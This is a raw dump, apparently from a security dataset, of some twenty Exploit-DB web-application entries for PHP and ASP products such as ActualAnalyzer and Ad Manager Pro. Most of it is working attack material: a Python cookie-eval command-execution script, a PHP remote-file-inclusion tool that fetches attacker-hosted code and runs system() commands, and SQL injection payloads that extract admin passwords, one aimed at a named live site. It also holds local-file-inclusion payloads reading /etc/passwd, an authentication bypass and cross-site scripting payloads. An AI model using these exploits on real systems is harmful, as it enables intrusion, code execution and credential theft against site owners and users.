deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34450
Description: ActualAnalyzer Lite 2.81 - Command Execution
Type: webapps
Platform: php
Date: 2014-08-28
Author: Benjamin Harris

Exploit:
###############################
# ActualAnalyzer  exploit.
# Tested on Lite version 
# We load command into a dummy variable as we only have 6 characters to own the eval 
# but load more as first 2 characters get rm'd.
# We then execute the eval with backticks.
# 11/05/2011
##############################

import urllib
import urllib2
import sys
import time



def banner():
	print "	    ____                        __              __                  __                     "
	print "	   / __/_  ______ _ ____ ______/ /___  ______ _/ /___ _____  ____ _/ /_  ______  ___  _____"
	print "	  / /_/ / / / __ `// __ `/ ___/ __/ / / / __ `/ / __ `/ __ \/ __ `/ / / / /_  / / _ \/ ___/"
	print "	 / __/ /_/ / /_/ // /_/ / /__/ /_/ /_/ / /_/ / / /_/ / / / / /_/ / / /_/ / / /_/  __/ /    "
	print "	/_/  \__,_/\__, (_)__,_/\___/\__/\__,_/\__,_/_/\__,_/_/ /_/\__,_/_/\__, / /___/\___/_/     "
	print "	             /_/                                                  /____/                   "


def usage():
	print "	[+] Usage:"
	print "	[-] python " + sys.argv[0] + " -h vulnHOST -d analyticdomain -c \"command\""
	print "	[-] python fuq.actualanalyzer.py -h test.com/lite -d analyticdomain -c \"touch /tmp/123\""

banner()
if len(sys.argv) < 6:
	usage()
	quit()
domain = sys.argv[2]
command = sys.argv[6]
host = syst.argv[4]

def commandexploit(domain,host,command):
	url = 'http://' + domain + '/aa.php?anp=' + host 
	data = None
	headers = {'Cookie': "ant=" + command + "; anm=414.`$cot`"}
	exploit1 = urllib2.Request(url,data,headers)
	exploit2 = urllib2.urlopen(exploit1)

commandexploit(domain,host,command)
Exploit-DB #1768
Description: ActualAnalyzer Pro 6.88 - 'rf' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-08
Author: ReZEN

Exploit:
<?php

// No hard feelings ReZEN, I just post them when I get them. /str0ke

/*
ActualAnalyzer Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, D2K
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/path to actualanalyzer/direct.php?rf=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>

# milw0rm.com [2006-05-08]
Exploit-DB #1767
Description: ActualAnalyzer Server 8.23 - 'rf' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-08
Author: Aesthetico

Exploit:
Title: ActualAnalyzer Server <=8.23 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: ActualScripts
URL: http://actualscripts.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "ActualScripts, Company. All rights reserved."
-----------------------------------------------------------------

Exploitation:

/direct.php?rf=http://www.yourspace.com/yourscript.php?
/direct.php?rf=http://www.yourspace.com/yourscript.txt?&ls%20-laF

# milw0rm.com [2006-05-08]
Exploit-DB #37091
Description: Acuity CMS 2.6.2 - 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-17
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/53048/info


Acuity CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Acuity CMS 2.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/login.asp?UserName=";><script>prompt(/xss/)</script>
Exploit-DB #8291
Description: acute control panel 1.0.0 - SQL Injection / Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-03-26
Author: SirGod

Exploit:
###############################################################
[+] Acute Control Panel 1.0.0 RFI/SQL Injection (Auth Bypass)
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
###############################################################

[+] Remote File Inclusion

 Vulnerable code in container.php

-----------------------------------------------------------
<?php include_once($theme_directory."/sidebar.php"); ?>
-----------------------------------------------------------

 PoC :

  http://127.0.0.1/themes/container.php?theme_directory=[Shell]%00

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 Vulnerable code in header.php

--------------------------------------------------------------
<?php include_once($theme_directory."/navigation.php"); ?>
--------------------------------------------------------------

 PoC :

  http://127.0.0.1/themes/header.php?theme_directory=[Shell]%00

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[+] SQL Injection (Auth Bypass)

 Vulnerable code in login.php

--------------------------------------------
$query = mysql_query("SELECT
id,username,password,email,fullname,permissions FROM `users` WHERE
username='$username' AND [CREDENTIAL_REDACTED]'", $conn) or
die(mysql_error());
--------------------------------------------

 PoC :

  Username : admin ' or ' 1=1
  [CREDENTIAL_REDACTED] or nothing

################################################################

# milw0rm.com [2009-03-26]
Exploit-DB #29883
Description: ACVSWS - 'Transport.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-23
Author: MoHaNdKo

Exploit:
source: https://www.securityfocus.com/bid/23603/info

acvsws_php5 is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/inc_ACVS/SOAP/Transport.php?CheminInclude=Shell
Exploit-DB #31401
Description: Acyhost - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-12
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/28231/info

Acyhost is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/index.php?sayfa=codeinject.txt
Exploit-DB #6271
Description: Ad Board - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-19
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Ad Board (trr.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.yourfreeworld.com/script/adboard.php
|
| DorK   : inurl:trr.php?id=
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/trr.php?id=-91+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11+from+adminsettings--






L!VE DEMO:
_________


http://www.downlinegoldmine.com/adboard/trr.php?id=-91+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11+from+adminsettings--


____________

Admin Login :

www.[target].com/Script/admin.php

____________
____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|  
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-19]
Exploit-DB #11722
Description: Ad Board Script 1.01 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-13
Author: ITSecTeam

Exploit:
hi

-------

#########################local file include#################
Author: ItSecTeam

download from:http://www.phpkobo.com/scripts/AF201_101/AF201_101.zip

script:Ad Board Script

Version:1.01

Updated:2010-01-10

dork::D
##########################################

vul:/path/web/codelib/cfg/common.inc.php line 21:

require( "res.{$LANG_CODE}.sys.inc.php" );

-----------------------------------------

xpl:/path/web/codelib/cfg/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/codelib/sys/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/staff/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/staff/file.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/staff/app/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

########################

discovered by ahmadbady

########################
Exploit-DB #20785
Description: Ad Manager Pro - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-24
Author: Yakir Wizman

Exploit:
-----------------------------------------------------------
Ad Manager Pro
Bug discovered by Yakir Wizman
Date 24/08/2012
Vendor Homepage - http://www.phpwebscripts.com/ad-manager-pro/
Demo - http://www.scripts-demo.com/admanagerpro/
ISRAEL
-----------------------------------------------------------
       Author will be not responsible for any damage.
-----------------------------------------------------------

About the Application:
-----------------------------------------------------------
Ad Manager Pro is the most complete ad management solution available. It's a very flexible system, you can use it for one or more of these purposes:

* Manage ads on your site(s)
* Sell impressions and/or clicks to advertisers
* Purchase impressions and/or clicks from publishers


Proof Of Conecpt
-----------------------------------------------------------
1). SQL Injection (Severity is high)
Vulnerable URL	: http://server/admanagerpro/show.php
HTTP header		: X-Forwarded-For
Injected 		: '

Request:
GET /admanagerpro/show.php?z=14&w=0&pl=0&ad_type=0&top_space=0&shape=0&c_border=0&c_background=0&page_background=0&c_text1=0&c_text2=0&c_text3=0&c_text4=0&c_text5=0&c_text6=0&c_text7=0&c_text8=0&c_text9=0&c_text10=0&code=[PII_REDACTED]15 HTTP/1.0
Cookie: PHPSESSID=ni77ng3i0477i55poipsbnhs20
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: www.scripts-demo.com
X-Forwarded-For: '


2). Cross-Site Scripting (Severity is Medium)
Vulnerable URL	: http://server/admanagerpro/advertiser.php?action=user_login
Parameters		: username, password, image_control
Injected 		: "/><script>alert(document.cookie)</script>

Vulnerable URL	: http://server/admanagerpro/advertiser.php?action=password_reminded
Parameter		: email
Injected 		: 1337@31337.com"/><script>alert(document.cookie)</script>

Vulnerable URL	: http://server/admanagerpro/publisher.php?action=user_login
Parameters		: username, password, image_control
Injected 		: "/><script>alert(document.cookie)</script>

Vulnerable URL	: http://server/admanagerpro/publisher.php?action=password_reminded
Parameter		: email
Injected 		: 1337@31337.com"/><script>alert(document.cookie)</script>
Exploit-DB #1923
Description: Ad Manager Pro 2.6 - 'ipath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-17
Author: Basti

Exploit:
Ad Manager Pro 2.6 Remote File Include Vulnerability

homepage: phpwebscripts.com

Affected files: ad.php and common.php

Credit: Basti

Vulnerable Code:
if ($ipath) include($ipath.'/common.php'); else include('./common.php');

Example:
http://[site]/admanagerpro/common.php?ipath=http://site/r57.txt?

# milw0rm.com [2006-06-17]
Exploit-DB #20761
Description: Ad Manager Pro 4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-23
Author: CorryL

Exploit:
-=[--------------------ADVISORY-------------------]=-

              Ad Manager Pro v. 4
Author: Corrado Liotta Aka CorryL [corryl80@gmail.com]

-=[-----------------------------------------------]=-


-=[+] Application: Ad Manager Pro
-=[+] Version: 4
-=[+] Vendor's URL: http://www.phpwebscripts.com/ad-manager-pro/
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: LFI
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
-=[+] WebSite: http://corryl80.blogspot.com/

...::[ Descriprion ]::..

Ad Manager Pro is the most complete ad management solution available.
You can use it to manage ads on your site(s), you also can sell
clicks, impressions and/or days range to advertisers and purchase
clicks and/or impressions from publishers. Features of this quality
system may bring you an interesting income.
You and your users have a real-time statistic for each ad (hourly,
daily, monthly statistic), also a graphical statistic is available.
Advertisers and publishers can order daily email reports. Each ad may
be used in multiple campaigns, each campaign has its own statistic and
configuration.
Support for classic banners (gif, jpg, png, swf), plain text/html ads,
ads from templates (Google AdWords style). You can display ads on
pages or in popup consoles. There are many ways to show ads on pages -
javascript, iframe, php include command. It lets you place the ads to
any webpage.
Option to load a new ad after a given number of seconds. Ads can be
targeted by countries,days,hours.


...::[ Bug ]::..

Local File Inclusion (also known as LFI) is the process of including
files on a server through the web browser.
This vulnerability occurs when a page include is not properly
sanitized, and allows directory traversal characters to be injected.


...::[ Proof Of Concept ]::..

http://remote-server/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

..::[ Disclousure Timeline ]::..

[23/08/2012] - Public Disclousure

-- 
Corrado Liotta         A.k.a (CorryL)
Admin x0n3-h4ck Italian Security Team
Email: corryl80@gmail.com
Slype: corrado_liotta
Facebook: http://www.facebook.com/home.php/CorryL
Twitter: https://twitter.com/#!/CorradoLiotta
Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
WebSite: http://corryl80.blogspot.com/

Specialist in:
Bug Hunting
Security Audits
Penetration Test
Exploit-DB #14363
Description: Ad Network Script - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-14
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

vendor URL :http://www.kaonsoftwares.com/
Price:330EUR :O 
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description: 
Ad Network Script is developed in PHP and uses a MySQL database. Ad Network Script allows you to run your own ads network similar to adengage.com or adbrite.com. Features mutliple currency support, mulitple language support, categories, and more
#######################################################################################################
Xploit: Persistent XSS Vulnerability
Step 1: Register :P 

Step 2 : NOw goto directory
DEMO URL :http://server/adbrite-clone/directory.php

YOu will find various sites listed .select any one and there you will see "BUY ADS"

The xss vuln is in the following options 
1.Ad Text
2.Ad Headline
Insert ur  xss script in the above options 

Attack pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> 

#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #24292
Description: Adam Ismay Print Topic Mod 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2004-07-19
Author: Bartek Nowotarski

Exploit:
source: https://www.securityfocus.com/bid/10757/info

Print Topic Mod is reportedly affected by a remote SQL injection vulnerability in the 'printview.php' script. This issue is due to a failure of the application to properly sanitize user-supplied URI parameter input before using it in an SQL query.

Print Topic Mod version 1.0 is reported to be affected by this issue. 

http://www.example.com/printview.php?t={existing_topic's_id}&order_sql=UNION%20
SELECT%201%20,%20user_password%20,%201,%201,%201,%201,%201,%201,%201,%201,%201,
%201%20FROM%20{phpbb_users_table}%20WHERE%20user_id%20={some_user's_id}%20ORDER
%20BY%20t.topic_id%20ASC
Exploit-DB #24100
Description: Adam Webb NukeJokes 1.7/2.0 Module - 'modules.php?jokeid' SQL Injection
Type: webapps
Platform: php
Date: 2004-05-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10306/info
 
It has been reported that the NukeJokes module is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
 
Multiple SQL injection issues exists due to a failure of the application to do any sanitization on user input prior to using the offending input in an SQL query.
 
These SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data.
 
Multiple cross-site scripting vulnerabilities have been reported to exist due to a failure of the application to properly sanitize user-supplier input before its inclusion in dynamic web content.
 
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
Exploit-DB #24099
Description: Adam Webb NukeJokes 1.7/2.0 Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-05-08
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10306/info

It has been reported that the NukeJokes module is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.

Multiple SQL injection issues exists due to a failure of the application to do any sanitization on user input prior to using the offending input in an SQL query.

These SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data.

Multiple cross-site scripting vulnerabilities have been reported to exist due to a failure of the application to properly sanitize user-supplier input before its inclusion in dynamic web content. 

These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss code here]
http://www.example.com/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]
Exploit-DB #32527
Description: Adam Wright HTMLTidy 0.5 - 'html-tidy-logic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-23
Author: ShockShadow

Exploit:
source: https://www.securityfocus.com/bid/31908/info

Adam Wright HTMLTidy is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

HTMLTidy 0.5 is vulnerable; other versions may also be affected. Products that include HTMLTidy as a component will also be vulnerable.

NOTE: This record was previously titled 'Kayako eSupport html-tidy-logic.php Cross Site Scripting Vulnerability'. It has been updated to properly describe the vulnerability as an HTMLTidy issue. 

http://www.example.com/[script_dir]/includes/htmlArea/plugins/HtmlTidy/html-tidy-logic.php?jsMakeSrc=return%20ns;%20}%20alert(2008);%20function%20whynot(){%20alert(2);
Exploit-DB #16276
Description: ADAN Neuronlabs - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-04
Author: IRAQ_JAGUAR

Exploit:
#--------------------------------------------------------
#ADAN  (view.php )  Sql Injection Vulnerability
#--------------------------------------------------------
#Date 04-03-2011
#
#--------------------------------------------------------
#Discovered By: IRAQ_JAGUAR
#
#
#Mail: iraq_jaguar@yahoo.com       
#-------------------------------------------------------
#
#Script:   ADAN
#
#Script Home Page:  http://www.neuronlabs.com
#Dork :  "POWERED BY ADAN"
#--------------------------------------------------------
#Poc/Exploit:
#
#
#http://www.target.com/[path]/view.php?prod=2'
#
#
#
#Greetz To : White Devil , Fady Falah , Application_Korn , Joker Sql  , ALL IRAQIZ HACKERZ
------------------------------------------------------------------------------------------------------------------------------------------------------